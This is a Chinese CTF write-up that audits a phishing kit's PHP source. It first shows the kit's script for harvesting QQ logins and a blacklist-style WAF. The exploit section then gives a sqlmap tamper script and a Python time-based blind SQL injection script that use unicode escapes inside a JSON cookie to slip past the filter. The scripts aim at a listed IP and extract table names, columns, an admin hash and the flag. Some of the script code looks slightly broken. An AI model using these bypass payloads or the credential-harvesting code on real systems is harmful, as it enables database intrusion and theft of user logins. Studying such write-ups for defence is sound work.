0x01 Analyse

3d60020e7fe085411c676e26b845a90c

www.zip内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
├── 2018.php
├── Default account&password.txt
├── Tutorial.txt
├── admin
│   ├── delete.php
│   ├── index.php
│   ├── list.php
│   ├── login.php
│   └── pass.php
├── config.php
├── include
│   ├── common.php
│   ├── db.class.php
│   ├── function.php
│   ├── kill.intercept.php
│   ├── member.php
│   ├── os.php
│   └── safe.php
├── index.php
├── install.sql
└── robots.txt

看2018.php里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once './include/common.php';
$realip = real_ip();
$ipcount = $DB->count("SELECT count(*) from fish_user where ip='$realip'");
if ($ipcount < 3) {
$username = addslashes($_POST['user']);
$password = addslashes($_POST['pass']);
$address = getCity($realip);
$time = date("Y-m-d H:i:s");
$ua = $_SERVER['HTTP_USER_AGENT'];
$device = get_device($ua);
$sql = "INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')";
$DB->query($sql);
header("Location: https://i.qq.com/?rd=" . $username);
} else {
header("Location: https://i.qq.com/?rd=" . $username);
}
?>

大概是钓鱼网站常规套路了,就是把用户信息扔进数据库

一个一个点看,发现Common.php里把safe.php都包含了
78ee2543b505755fe447a5beb9bdc1e3

然后来看safe.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|#|s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
.....
foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
?>

直接用一个backlist,然后将Get/POST/Cookie三种传参方式全部过滤了一遍
跟一下real_ip()

1
2
3
4
5
6
7
8
9
10
11
12
function real_ip()
{
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$ip = $list[0];
}
if (!ip2long($ip)) {
$ip = '';
}
return $ip;
}

使用了ip2long来转换了ip格式,这样也没办法了..

继续审计,找有SQL交互的地方

1
2
3
4
5
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

这里可以看到利用了一个json_decode()函数,将$_COOKIE中的login_data带入到SQL语句中:

SELECT * FROM fish_admin WHERE username='$admin_user' limit 1

这里就造成了,我们可以使用unicode进行绕过,因为json_decode是可以将unicode字符解码的

那么,就可以直接bypass进行注入了

0x02 Exploit

我们只用unicode就可以绕过的话,就相当于没有过滤的注入了,可以选择使用sqlmap or 自己写脚本

  1. tamper

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    #!/usr/bin/env python
    from lib.core.enums import PRIORITY
    __priority__ = PRIORITY.LOW

    def dependencies():
    pass

    def tamper(payload, **kwargs):
    data = '''{"admin_user":"%s"};'''
    payload = payload.lower()


    payload = payload.replace('o', '\u006f')
    payload = payload.replace('u', '\u0075')
    payload = payload.replace('i', '\u0069')
    payload = payload.replace('\'', '\u0027')
    payload = payload.replace('\"', '\u0022')
    payload = payload.replace(' ', '\u0020')
    payload = payload.replace('s', '\u0073')
    payload = payload.replace('#', '\u0023')
    payload = payload.replace('>', '\u003e')
    payload = payload.replace('<', '\u003c')
    payload = payload.replace('-', '\u002d')
    payload = payload.replace('=', '\u003d')
    payload = payload.replace('f1a9', 'F1a9')
    payload = payload.replace('f1', 'F1')
    return data % payload
  2. python

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import requests
    import time
    url = "http://45.32.75.237:10000/admin/login.php"
    flag = ''
    dic = "0123456789abcdefghijklmnopqrstuvwxyz{}_ABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+|,-./:;<=>?@"
    for x in range(1,50):
    for i in dic:
    startTime = time.time()
    poc1 = "'\u006fr\u0020su\u0062str(passwo\u0072d,{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,chr(i))
    admin BE933CBA048A9727A2D2E9E08F5ED046
    poc2 = "'\u006fr\u0020su\u0062str((select\u0020binary\u0020table_name\u0020from\u0020inf\u006frmation_schema.tables\u0020where\u0020TABLE_SCHEMA\u003ddatabase()\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,i)
    #F1444g
    poc3 = "'\u006fr\u0020su\u0062str((select\u0020binary\u0020column_name\u0020from\u0020inf\u006frmation_schema.columns\u0020where\u0020TABLE_SCHEMA\u003ddatabase()\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,i)
    #F1a9
    poc4 = "'\u006fr\u0020su\u0062str((select\u0020binary\u0020F1a9\u0020from\u0020F1444g\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,i)
    headers = {"Cookie":'islogin=1; login_data={\"admin_user\":\"'+poc4+'\"}'}
    r = requests.get(url,headers=headers)
    if time.time() - startTime > 5:
    flag += i
    print flag
    break